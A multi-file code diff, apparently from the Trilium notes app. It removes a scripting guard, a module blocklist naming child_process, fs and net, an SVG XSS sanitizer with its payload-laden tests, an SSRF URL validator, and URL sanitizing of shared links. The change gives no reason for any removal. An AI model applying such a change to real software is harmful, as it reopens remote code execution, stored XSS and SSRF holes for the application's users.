throw new Error(`Method '${methodName}' is not allowed in template expressions`);
}
const target = resolvePropertyChain(chainStr, variables);
if (target == null) {
return null;
}
const method = (target as Record<string, unknown>)[methodName];
if (typeof method !== "function") {
throw new Error(`'${methodName}' is not a function on the resolved object`);
}
return (method as () => unknown).call(target);
}
// Otherwise it's a pure property chain: varName.prop1.prop2...
const propChainMatch = expr.match(/^[a-zA-Z_]\w*(?:\.[a-zA-Z_]\w*)*$/);
if (!propChainMatch) {
throw new Error(`Template expression '${expr}' is not a supported expression. ` +
`Only property access and whitelisted method calls are allowed.`);
}
return resolvePropertyChain(expr, variables);
}
/**
* Resolves a dot-separated property chain like "parentNote.title" against variables.
*/
function resolvePropertyChain(chain: string, variables: TemplateVariables): unknown {
const parts = chain.split(".");
const rootName = parts[0];
if (!(rootName in variables)) {
throw new Error(`Unknown variable '${rootName}' in template expression`);
}
let current: unknown = variables[rootName];
for (let i = 1; i < parts.length; i++) {
if (current == null) {
return null;
}
const prop = parts[i];
if (!ALLOWED_PROPERTIES.has(prop)) {
throw new Error(`Property '${prop}' is not allowed in template expressions`);
}
current = (current as Record<string, unknown>)[prop];
}
return current;
}
/**
* Convenience wrapper that evaluates a template and catches errors,
* logging them and returning the fallback value.
*/
export function evaluateTemplateSafe(
template: string,
variables: TemplateVariables,
fallback: string,
contextDescription: string
): string {
try {
return evaluateTemplate(template, variables);
} catch (e: any) {
log.error(`Template evaluation for ${contextDescription} failed with: ${e.message}`);
return fallback;
}
}

View File

@@ -8,7 +8,6 @@ import hiddenSubtreeService from "./hidden_subtree.js";
import type BNote from "../becca/entities/bnote.js";
import options from "./options.js";
import { getLastProtectedSessionOperationDate, isProtectedSessionAvailable, resetDataKey } from "./protected_session.js";
import { isScriptingEnabled } from "./scripting_guard.js";
import ws from "./ws.js";
function getRunAtHours(note: BNote): number[] {
@@ -46,7 +45,7 @@ export function startScheduler() {
// Periodic checks.
sqlInit.dbReady.then(() => {
if (!process.env.TRILIUM_SAFE_MODE && isScriptingEnabled()) {
if (!process.env.TRILIUM_SAFE_MODE) {
setTimeout(
cls.wrap(() => runNotesWithLabel("backendStartup")),
10 * 1000
@@ -61,13 +60,12 @@ export function startScheduler() {
cls.wrap(() => runNotesWithLabel("daily")),
24 * 3600 * 1000
);
}
// Internal maintenance - always runs regardless of scripting setting
setInterval(
cls.wrap(() => hiddenSubtreeService.checkHiddenSubtree()),
7 * 3600 * 1000
);
setInterval(
cls.wrap(() => hiddenSubtreeService.checkHiddenSubtree()),
7 * 3600 * 1000
);
}
setInterval(() => checkProtectedSessionExpiration(), 30000);
});

View File

@@ -3,51 +3,6 @@ import BackendScriptApi from "./backend_script_api.js";
import type BNote from "../becca/entities/bnote.js";
import type { ApiParams } from "./backend_script_api_interface.js";
/**
* IMPORTANT: This module allowlist/blocklist is a defense-in-depth measure only.
* It is NOT a security sandbox. Scripts execute via eval() in the main Node.js
* process and can bypass these restrictions through globalThis, process, etc.
* The actual security boundary is the [Scripting] enabled=false config toggle,
* which prevents script execution entirely.
*
* Modules that are safe for user scripts to require.
* Note-based modules (resolved via note title matching) are handled separately
* and always allowed regardless of this list.
*/
const ALLOWED_MODULES = new Set([
// Safe utility libraries
"dayjs",
"marked",
"turndown",
"cheerio",
"axios",
"xml2js",
"escape-html",
"sanitize-html",
"lodash",
]);
/**
* Modules that are ALWAYS blocked even when scripting is enabled.
* These provide OS-level access that makes RCE trivial.
*/
const BLOCKED_MODULES = new Set([
"child_process",
"cluster",
"dgram",
"dns",
"fs",
"fs/promises",
"net",
"os",
"path",
"process",
"tls",
"worker_threads",
"v8",
"vm",
]);
type Module = {
exports: any[];
};
@@ -71,23 +26,7 @@ class ScriptContext {
const note = candidates.find((c) => c.title === moduleName);
if (!note) {
// Check blocked list first
if (BLOCKED_MODULES.has(moduleName)) {
throw new Error(
`Module '${moduleName}' is blocked for security. ` +
`Scripts cannot access OS-level modules like child_process, fs, net, os.`
);
}
// Allow if in whitelist
if (ALLOWED_MODULES.has(moduleName)) {
return require(moduleName);
}
throw new Error(
`Module '${moduleName}' is not in the allowed modules list. ` +
`Contact your administrator to add it to the whitelist.`
);
return require(moduleName);
}
return this.modules[note.noteId].exports;

View File

@@ -1,148 +0,0 @@
import { vi, describe, it, expect, beforeEach } from "vitest";
// Mutable mock state that can be changed between tests
const mockState = {
isElectron: false,
scriptingEnabled: false,
sqlConsoleEnabled: false
};
// Mock utils module so isElectron can be controlled per test
vi.mock("./utils.js", () => ({
isElectron: false,
default: {
isElectron: false
}
}));
// Mock config module so Scripting section can be controlled per test
vi.mock("./config.js", () => ({
default: {
Scripting: {
get enabled() {
return mockState.scriptingEnabled;
},
get sqlConsoleEnabled() {
return mockState.sqlConsoleEnabled;
}
}
}
}));
describe("scripting_guard", () => {
beforeEach(() => {
// Reset to defaults
mockState.isElectron = false;
mockState.scriptingEnabled = false;
mockState.sqlConsoleEnabled = false;
vi.resetModules();
});
describe("assertScriptingEnabled", () => {
it("should throw when scripting is disabled and not Electron", async () => {
mockState.isElectron = false;
mockState.scriptingEnabled = false;
// Re-mock utils with isElectron = false
vi.doMock("./utils.js", () => ({
isElectron: false,
default: { isElectron: false }
}));
const { assertScriptingEnabled } = await import("./scripting_guard.js");
expect(() => assertScriptingEnabled()).toThrowError(
/Script execution is disabled/
);
});
it("should not throw when scripting is enabled", async () => {
mockState.scriptingEnabled = true;
vi.doMock("./utils.js", () => ({
isElectron: false,
default: { isElectron: false }
}));
const { assertScriptingEnabled } = await import("./scripting_guard.js");
expect(() => assertScriptingEnabled()).not.toThrow();
});
it("should not throw when isElectron is true even if config is false", async () => {
mockState.scriptingEnabled = false;
vi.doMock("./utils.js", () => ({
isElectron: true,
default: { isElectron: true }
}));
const { assertScriptingEnabled } = await import("./scripting_guard.js");
expect(() => assertScriptingEnabled()).not.toThrow();
});
});
describe("assertSqlConsoleEnabled", () => {
it("should throw when SQL console is disabled and not Electron", async () => {
mockState.sqlConsoleEnabled = false;
vi.doMock("./utils.js", () => ({
isElectron: false,
default: { isElectron: false }
}));
const { assertSqlConsoleEnabled } = await import("./scripting_guard.js");
expect(() => assertSqlConsoleEnabled()).toThrowError(
/SQL console is disabled/
);
});
it("should not throw when SQL console is enabled", async () => {
mockState.sqlConsoleEnabled = true;
vi.doMock("./utils.js", () => ({
isElectron: false,
default: { isElectron: false }
}));
const { assertSqlConsoleEnabled } = await import("./scripting_guard.js");
expect(() => assertSqlConsoleEnabled()).not.toThrow();
});
});
describe("isScriptingEnabled", () => {
it("should return false when disabled and not Electron", async () => {
mockState.scriptingEnabled = false;
vi.doMock("./utils.js", () => ({
isElectron: false,
default: { isElectron: false }
}));
const { isScriptingEnabled } = await import("./scripting_guard.js");
expect(isScriptingEnabled()).toBe(false);
});
it("should return true when enabled", async () => {
mockState.scriptingEnabled = true;
vi.doMock("./utils.js", () => ({
isElectron: false,
default: { isElectron: false }
}));
const { isScriptingEnabled } = await import("./scripting_guard.js");
expect(isScriptingEnabled()).toBe(true);
});
it("should return true when isElectron is true", async () => {
mockState.scriptingEnabled = false;
vi.doMock("./utils.js", () => ({
isElectron: true,
default: { isElectron: true }
}));
const { isScriptingEnabled } = await import("./scripting_guard.js");
expect(isScriptingEnabled()).toBe(true);
});
});
});

View File

@@ -1,28 +0,0 @@
import config from "./config.js";
import { isElectron } from "./utils.js";
/**
* Throws if scripting is disabled. Desktop (Electron) always allows scripting.
*/
export function assertScriptingEnabled(): void {
if (isElectron || config.Scripting.enabled) {
return;
}
throw new Error(
"Script execution is disabled. Set [Scripting] enabled=true in config.ini or " +
"TRILIUM_SCRIPTING_ENABLED=true to enable. WARNING: Scripts have full server access."
);
}
export function assertSqlConsoleEnabled(): void {
if (isElectron || config.Scripting.sqlConsoleEnabled) {
return;
}
throw new Error(
"SQL console is disabled. Set [Scripting] sqlConsoleEnabled=true in config.ini to enable."
);
}
export function isScriptingEnabled(): boolean {
return isElectron || config.Scripting.enabled;
}

View File

@@ -17,7 +17,6 @@ import type { SearchParams, TokenStructure } from "./types.js";
import type Expression from "../expressions/expression.js";
import sql from "../../sql.js";
import scriptService from "../../script.js";
import { isScriptingEnabled } from "../../scripting_guard.js";
import striptags from "striptags";
import protectedSessionService from "../../protected_session.js";
@@ -81,11 +80,6 @@ function searchFromRelation(note: BNote, relationName: string) {
return [];
}
if (!isScriptingEnabled()) {
log.info("Script-based search is disabled (scripting is not enabled).");
return [];
}
if (!scriptNote.isJavaScript() || scriptNote.getScriptEnv() !== "backend") {
log.info(`Note ${scriptNote.noteId} is not executable.`);

View File

@@ -1,241 +0,0 @@
import { describe, expect, it } from "vitest";
import { sanitizeSvg } from "./svg_sanitizer.js";
describe("SVG Sanitizer", () => {
describe("removes dangerous elements", () => {
it("strips <script> tags with content", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><script>alert('XSS')</script><circle r="50"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<script");
expect(clean).not.toContain("alert");
expect(clean).toContain("<circle");
});
it("strips <script> tags case-insensitively", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><SCRIPT>alert('XSS')</SCRIPT></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("SCRIPT");
expect(clean).not.toContain("alert");
});
it("strips <script> tags with attributes", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><script type="text/javascript">alert('XSS')</script></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<script");
expect(clean).not.toContain("alert");
});
it("strips self-closing <script> tags", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><script src="evil.js"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<script");
expect(clean).not.toContain("evil.js");
});
it("strips <foreignObject> elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><foreignObject><body xmlns="http://www.w3.org/1999/xhtml"><script>alert(1)</script></body></foreignObject></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("foreignObject");
expect(clean).not.toContain("alert");
});
it("strips <iframe> elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><iframe src="https://evil.com"></iframe></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<iframe");
expect(clean).not.toContain("evil.com");
});
it("strips <embed> elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><embed src="evil.swf"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<embed");
});
it("strips <object> elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><object data="evil.swf"></object></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<object");
});
it("strips <link> elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><link rel="stylesheet" href="evil.css"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<link");
});
it("strips <meta> elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><meta http-equiv="refresh" content="0;url=evil.com"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<meta");
});
});
describe("removes event handler attributes", () => {
it("strips onload from SVG root", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')"><circle r="50"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("onload");
expect(clean).not.toContain("alert");
expect(clean).toContain("<circle");
expect(clean).toContain("<svg");
});
it("strips onclick from elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><circle r="50" onclick="alert('XSS')"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("onclick");
expect(clean).not.toContain("alert");
expect(clean).toContain("r=\"50\"");
});
it("strips onerror from elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><image onerror="alert('XSS')" href="x"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("onerror");
expect(clean).not.toContain("alert");
});
it("strips onmouseover from elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><rect onmouseover="alert('XSS')" width="100" height="100"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("onmouseover");
});
it("strips onfocus from elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><rect onfocus="alert('XSS')" tabindex="0"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("onfocus");
});
});
describe("removes dangerous URI schemes", () => {
it("strips javascript: URIs from href", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><a href="javascript:alert('XSS')"><text>Click</text></a></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("javascript:");
expect(clean).toContain("<text>Click</text>");
});
it("strips javascript: URIs from xlink:href", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><a xlink:href="javascript:alert('XSS')"><text>Click</text></a></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("javascript:");
});
it("strips data:text/html URIs", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><a href="data:text/html,<script>alert(1)</script>"><text>Click</text></a></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("data:text/html");
});
it("strips vbscript: URIs", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><a href="vbscript:msgbox('XSS')"><text>Click</text></a></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("vbscript:");
});
it("strips javascript: URIs with whitespace padding", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><a href=" javascript:alert(1)"><text>Click</text></a></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("javascript:");
});
});
describe("removes xml-stylesheet processing instructions", () => {
it("strips xml-stylesheet PIs", () => {
const dirty = `<?xml-stylesheet type="text/xsl" href="evil.xsl"?><svg xmlns="http://www.w3.org/2000/svg"><circle r="50"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("xml-stylesheet");
expect(clean).toContain("<circle");
});
});
describe("preserves legitimate SVG content", () => {
it("preserves basic SVG shapes", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"><circle cx="50" cy="50" r="40" fill="red"/><rect x="10" y="10" width="80" height="80" fill="blue"/></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toBe(svg);
});
it("preserves SVG paths", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><path d="M10 10 L90 90" stroke="black" stroke-width="2"/></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toBe(svg);
});
it("preserves SVG text elements", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><text x="50" y="50" font-size="20">Hello World</text></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toBe(svg);
});
it("preserves SVG groups and transforms", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><g transform="translate(10,10)"><circle r="5"/></g></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toBe(svg);
});
it("preserves SVG style elements with CSS (not script)", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><style>.cls{fill:red}</style><circle class="cls" r="50"/></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toContain("<style>");
expect(clean).toContain("fill:red");
});
it("preserves SVG defs and gradients", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><defs><linearGradient id="grad"><stop offset="0%" stop-color="red"/><stop offset="100%" stop-color="blue"/></linearGradient></defs><rect fill="url(#grad)" width="100" height="100"/></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toContain("linearGradient");
expect(clean).toContain("url(#grad)");
});
it("preserves safe href attributes (non-javascript)", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><a href="https://example.com"><text>Link</text></a></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toContain(`href="https://example.com"`);
});
it("preserves data: URIs for images (non-HTML)", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><image href="data:image/png;base64,abc123"/></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toContain("data:image/png;base64,abc123");
});
it("preserves empty SVG", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toBe(svg);
});
});
describe("handles edge cases", () => {
it("handles Buffer input", () => {
const svg = Buffer.from(`<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>`);
const clean = sanitizeSvg(svg);
expect(clean).not.toContain("<script");
});
it("handles multiple script tags", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script><circle r="50"/><script>alert(2)</script></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<script");
expect(clean).toContain("<circle");
});
it("handles mixed dangerous content", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"><script>alert(2)</script><foreignObject><body xmlns="http://www.w3.org/1999/xhtml"><img onerror="alert(3)"/></body></foreignObject><circle r="50" onclick="alert(4)"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("alert");
expect(clean).not.toContain("onload");
expect(clean).not.toContain("<script");
expect(clean).not.toContain("foreignObject");
expect(clean).not.toContain("onclick");
expect(clean).toContain("<circle");
});
it("handles empty string input", () => {
expect(sanitizeSvg("")).toBe("");
});
});
});

View File

@@ -1,158 +0,0 @@
/**
* SVG sanitizer to prevent stored XSS via malicious SVG content.
*
* SVG files can contain embedded JavaScript via <script> tags, event handler
* attributes (onload, onclick, etc.), <foreignObject> elements, and
* javascript: URIs. This sanitizer strips all such dangerous constructs
* while preserving legitimate SVG rendering elements.
*
* Defense-in-depth: SVG responses also receive a restrictive
* Content-Security-Policy header (see {@link setSvgHeaders}) to block
* script execution even if sanitization is bypassed.
*/
import type { Response } from "express";
// Elements that MUST be removed from SVG (they can execute code or embed arbitrary HTML)
const DANGEROUS_ELEMENTS = new Set([
"script",
"foreignobject",
"iframe",
"embed",
"object",
"applet",
"base",
"link", // can load external resources
"meta",
]);
// Attribute prefixes/names that indicate event handlers
const EVENT_HANDLER_PATTERN = /^on[a-z]/i;
// Dangerous attribute values (javascript:, data: with script content, vbscript:)
const DANGEROUS_URI_PATTERN = /^\s*(javascript|vbscript|data\s*:\s*text\/html)/i;
// Attributes that can contain URIs
const URI_ATTRIBUTES = new Set([
"href",
"xlink:href",
"src",
"action",
"formaction",
"data",
]);
// SVG "set" and "animate" elements can modify attributes to dangerous values
const DANGEROUS_ANIMATION_ATTRIBUTES = new Set([
"attributename",
]);
/**
* Sanitizes SVG content by removing dangerous elements and attributes
* that could lead to script execution (XSS).
*
* This uses regex-based parsing rather than a full DOM parser to avoid
* adding heavy dependencies. The approach is conservative: it removes
* known-dangerous constructs rather than allowlisting, but combined with
* the CSP header this provides robust protection.
*/
export function sanitizeSvg(svg: string | Buffer): string {
let content = typeof svg === "string" ? svg : svg.toString("utf-8");
// 1. Remove dangerous elements and their contents entirely.
// Use a case-insensitive regex that handles self-closing and content-bearing tags.
for (const element of DANGEROUS_ELEMENTS) {
// Remove opening+closing tag pairs (including content between them)
const pairRegex = new RegExp(
`<${element}[\\s>][\\s\\S]*?<\\/${element}\\s*>`,
"gi"
);
content = content.replace(pairRegex, "");
// Remove self-closing variants
const selfClosingRegex = new RegExp(
`<${element}(\\s[^>]*)?\\/?>`,
"gi"
);
content = content.replace(selfClosingRegex, "");
}
// 2. Remove event handler attributes (onclick, onload, onerror, etc.)
// and dangerous URI attributes from all remaining elements.
content = content.replace(/<([a-zA-Z][a-zA-Z0-9-]*)((?:\s+[^>]*?)?)(\s*\/?>)/g,
(_match, tagName, attrs, closing) => {
if (!attrs || !attrs.trim()) {
return `<${tagName}${closing}`;
}
// Parse and filter attributes
const sanitizedAttrs = sanitizeAttributes(attrs);
return `<${tagName}${sanitizedAttrs}${closing}`;
}
);
// 3. Remove processing instructions that could be exploited
content = content.replace(/<\?xml-stylesheet[^?]*\?>/gi, "");
return content;
}
/**
* Sanitizes the attribute string of an SVG element by removing
* event handlers and dangerous URI values.
*/
function sanitizeAttributes(attrString: string): string {
// Match individual attributes: name="value", name='value', name=value, or standalone name
return attrString.replace(
/\s+([a-zA-Z_:][\w:.-]*)\s*(?:=\s*(?:"([^"]*)"|'([^']*)'|(\S+)))?/g,
(fullMatch, attrName, dblVal, sglVal, unquotedVal) => {
const lowerAttrName = attrName.toLowerCase();
const attrValue = dblVal ?? sglVal ?? unquotedVal ?? "";
// Remove all event handler attributes
if (EVENT_HANDLER_PATTERN.test(lowerAttrName)) {
return "";
}
// Check URI-bearing attributes for dangerous schemes
if (URI_ATTRIBUTES.has(lowerAttrName)) {
if (DANGEROUS_URI_PATTERN.test(attrValue)) {
return "";
}
}
// Block animation elements from targeting event handlers via attributeName
if (DANGEROUS_ANIMATION_ATTRIBUTES.has(lowerAttrName)) {
const targetAttr = attrValue.toLowerCase();
if (EVENT_HANDLER_PATTERN.test(targetAttr) || targetAttr === "href" || targetAttr === "xlink:href") {
return "";
}
}
return fullMatch;
}
);
}
/**
* Sets security headers appropriate for SVG responses.
* This provides defense-in-depth: even if SVG sanitization is somehow
* bypassed, the CSP header prevents script execution.
*/
export function setSvgHeaders(res: Response): void {
res.set("Content-Type", "image/svg+xml");
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
// Restrictive CSP that allows SVG rendering but blocks all script execution,
// inline event handlers, and plugin-based content.
res.set(
"Content-Security-Policy",
"default-src 'none'; style-src 'unsafe-inline'; img-src 'self' data:; font-src 'self' data:"
);
// Prevent SVG from being reinterpreted in a different MIME context
res.set("X-Content-Type-Options", "nosniff");
}
export default {
sanitizeSvg,
setSvgHeaders
};

View File

@@ -5,8 +5,6 @@ import eventService from "./events.js";
import entityConstructor from "../becca/entity_constructor.js";
import ws from "./ws.js";
import type { EntityChange, EntityChangeRecord, EntityRow } from "@triliumnext/commons";
import attributeService from "./attributes.js";
import { isScriptingEnabled } from "./scripting_guard.js";
interface UpdateContext {
alreadyErased: number;
@@ -93,18 +91,6 @@ function updateNormalEntity(remoteEC: EntityChange, remoteEntityRow: EntityRow |
preProcessContent(remoteEC, remoteEntityRow);
// When scripting is disabled, prefix dangerous attributes with 'disabled:'
// Same pattern as safeImport in attributes.ts
if (remoteEC.entityName === "attributes" && !isScriptingEnabled()) {
const attrRow = remoteEntityRow as Record<string, unknown>;
if (typeof attrRow.type === "string" && typeof attrRow.name === "string"
&& !attrRow.isDeleted
&& attributeService.isAttributeDangerous(attrRow.type, attrRow.name)) {
log.info(`Sync: disabling dangerous attribute '${attrRow.name}' (scripting is disabled)`);
attrRow.name = `disabled:${attrRow.name}`;
}
}
sql.replace(remoteEC.entityName, remoteEntityRow);
updateContext.updated[remoteEC.entityName] = updateContext.updated[remoteEC.entityName] || [];

View File

@@ -1,140 +0,0 @@
/**
* URL validation utilities to prevent SSRF (Server-Side Request Forgery) attacks.
*
* These checks enforce scheme allowlists and optionally block requests to
* private/internal IP ranges so that user-controlled URLs cannot be used to
* reach local files or internal network services.
*/
import { URL } from "url";
import log from "./log.js";
/**
* IPv4 private and reserved ranges that should not be reachable from
* server-side HTTP requests initiated by user-supplied URLs.
*/
const PRIVATE_IPV4_RANGES: Array<{ prefix: number; mask: number }> = [
{ prefix: 0x7F000000, mask: 0xFF000000 }, // 127.0.0.0/8 (loopback)
{ prefix: 0x0A000000, mask: 0xFF000000 }, // 10.0.0.0/8 (private)
{ prefix: 0xAC100000, mask: 0xFFF00000 }, // 172.16.0.0/12 (private)
{ prefix: 0xC0A80000, mask: 0xFFFF0000 }, // 192.168.0.0/16 (private)
{ prefix: 0xA9FE0000, mask: 0xFFFF0000 }, // 169.254.0.0/16 (link-local)
{ prefix: 0x00000000, mask: 0xFF000000 }, // 0.0.0.0/8 (current network)
];
/**
* Parse a dotted-decimal IPv4 address into a 32-bit integer, or return null
* if the string is not a valid IPv4 literal.
*/
function parseIPv4(ip: string): number | null {
const parts = ip.split(".");
if (parts.length !== 4) return null;
let result = 0;
for (const part of parts) {
const octet = Number(part);
if (!Number.isInteger(octet) || octet < 0 || octet > 255) return null;
result = (result << 8) | octet;
}
// Convert to unsigned 32-bit
return result >>> 0;
}
/**
* Returns true when the hostname is a private/internal IPv4 address, an IPv6
* loopback (::1), or an IPv6 unique-local address (fc00::/7).
*
* DNS resolution is NOT performed here; the check only applies when the
* hostname is already an IP literal. For full SSRF protection against DNS
* rebinding you would need an additional check after resolution, but
* blocking IP literals covers the most common attack vectors.
*/
function isPrivateIP(hostname: string): boolean {
// Strip IPv6 bracket notation that URL may retain.
const cleanHost = hostname.replace(/^\[|\]$/g, "");
// IPv6 checks
if (cleanHost === "::1") return true;
if (cleanHost.toLowerCase().startsWith("fc") || cleanHost.toLowerCase().startsWith("fd")) {
// fc00::/7 covers fc00:: through fdff::
return true;
}
// IPv4 check
const ipNum = parseIPv4(cleanHost);
if (ipNum !== null) {
for (const range of PRIVATE_IPV4_RANGES) {
if ((ipNum & range.mask) === (range.prefix >>> 0)) {
return true;
}
}
}
// "localhost" as a hostname (not an IP literal)
if (cleanHost.toLowerCase() === "localhost") {
return true;
}
return false;
}
/** Schemes that are safe for outbound HTTP(S) image downloads. */
const ALLOWED_HTTP_SCHEMES = new Set(["http:", "https:"]);
/**
* Validate that a URL is safe for server-side fetching (e.g. image downloads).
*
* Rules:
* 1. Only http: and https: schemes are permitted.
* 2. The hostname must not resolve to a private/internal IP range.
*
* Returns `true` when the URL passes all checks, `false` otherwise.
* Invalid / unparseable URLs also return `false`.
*/
export function isSafeUrlForFetch(urlStr: string): boolean {
try {
const parsed = new URL(urlStr);
if (!ALLOWED_HTTP_SCHEMES.has(parsed.protocol)) {
log.info(`URL rejected - disallowed scheme '${parsed.protocol}': ${urlStr}`);
return false;
}
if (isPrivateIP(parsed.hostname)) {
log.info(`URL rejected - private/internal IP '${parsed.hostname}': ${urlStr}`);
return false;
}
return true;
} catch {
log.info(`URL rejected - failed to parse: ${urlStr}`);
return false;
}
}
/**
* Validate that a base URL intended for an LLM provider API is using a safe
* scheme (http or https only).
*
* This is a lighter check than `isSafeUrlForFetch` because LLM base URLs are
* configured by authenticated administrators, so we only enforce the scheme
* restriction without blocking private IPs (which are legitimate for
* self-hosted services like Ollama).
*
* Returns `true` when the URL passes the check, `false` otherwise.
*/
export function isSafeProviderBaseUrl(urlStr: string): boolean {
try {
const parsed = new URL(urlStr);
if (!ALLOWED_HTTP_SCHEMES.has(parsed.protocol)) {
log.info(`LLM provider base URL rejected - disallowed scheme '${parsed.protocol}': ${urlStr}`);
return false;
}
return true;
} catch {
log.info(`LLM provider base URL rejected - failed to parse: ${urlStr}`);
return false;
}
}

View File

@@ -15,7 +15,6 @@ import BNote from "../becca/entities/bnote.js";
import assetPath, { assetUrlFragment } from "../services/asset_path.js";
import { generateCss, getIconPacks, MIME_TO_EXTENSION_MAPPINGS, ProcessedIconPack } from "../services/icon_packs.js";
import log from "../services/log.js";
import { isScriptingEnabled } from "../services/scripting_guard.js";
import options from "../services/options.js";
import utils, { getResourceDir, isDev, safeExtractMessageAndStackFromError } from "../services/utils.js";
import SAttachment from "./shaca/entities/sattachment.js";
@@ -195,13 +194,11 @@ function renderNoteContentInternal(note: SNote | BNote, renderArgs: RenderArgs)
t,
isDev,
utils,
sanitizeUrl,
...renderArgs,
};
// Check if the user has their own template.
// Skip user-provided EJS templates when scripting is disabled since EJS can execute arbitrary JS.
if (note.hasRelation("shareTemplate") && isScriptingEnabled()) {
if (note.hasRelation("shareTemplate")) {
// Get the template note and content
const templateId = note.getRelation("shareTemplate")?.value;
const templateNote = templateId && shaca.getNote(templateId);
@@ -306,9 +303,7 @@ function renderIndex(result: Result) {
for (const childNote of rootNote.getChildNotes()) {
const isExternalLink = childNote.hasLabel("shareExternalLink");
const rawHref = isExternalLink ? childNote.getLabelValue("shareExternalLink") : `./${childNote.shareId}`;
// Sanitize href to prevent javascript: / data: URI injection (CWE-79).
const href = isExternalLink ? escapeHtml(sanitizeUrl(rawHref ?? "")) : escapeHtml(rawHref ?? "");
const href = isExternalLink ? childNote.getLabelValue("shareExternalLink") : `./${childNote.shareId}`;
const target = isExternalLink ? `target="_blank" rel="noopener noreferrer"` : "";
result.content += `<li><a class="${childNote.type}" href="${href}" ${target}>${childNote.escapedTitle}</a></li>`;
}
@@ -412,10 +407,7 @@ function handleAttachmentLink(linkEl: HTMLElement, href: string, getNote: GetNot
const linkedNote = getNote(noteId);
if (linkedNote) {
const isExternalLink = linkedNote.hasLabel("shareExternalLink");
// Sanitize external links to prevent javascript: / data: URI injection (CWE-79).
const href = isExternalLink
? sanitizeUrl(linkedNote.getLabelValue("shareExternalLink") ?? "")
: `./${linkedNote.shareId}`;
const href = isExternalLink ? linkedNote.getLabelValue("shareExternalLink") : `./${linkedNote.shareId}`;
if (href) {
linkEl.setAttribute("href", href);
}

View File

@@ -3,7 +3,6 @@ import supertest from "supertest";
import { afterAll, beforeAll, beforeEach, describe, expect, it, vi } from "vitest";
import { safeExtractMessageAndStackFromError } from "../services/utils.js";
import config from "../services/config.js";
let app: Application;
@@ -41,19 +40,12 @@ describe("Share API test", () => {
});
it("renders custom share template", async () => {
// Custom EJS templates require scripting to be enabled
const originalEnabled = config.Scripting.enabled;
config.Scripting.enabled = true;
try {
const response = await supertest(app)
.get("/share/pQvNLLoHcMwH")
.expect(200);
expect(cannotSetHeadersCount).toBe(0);
expect(response.text).toContain("Content Start");
expect(response.text).toContain("Content End");
} finally {
config.Scripting.enabled = originalEnabled;
}
const response = await supertest(app)
.get("/share/pQvNLLoHcMwH")
.expect(200);
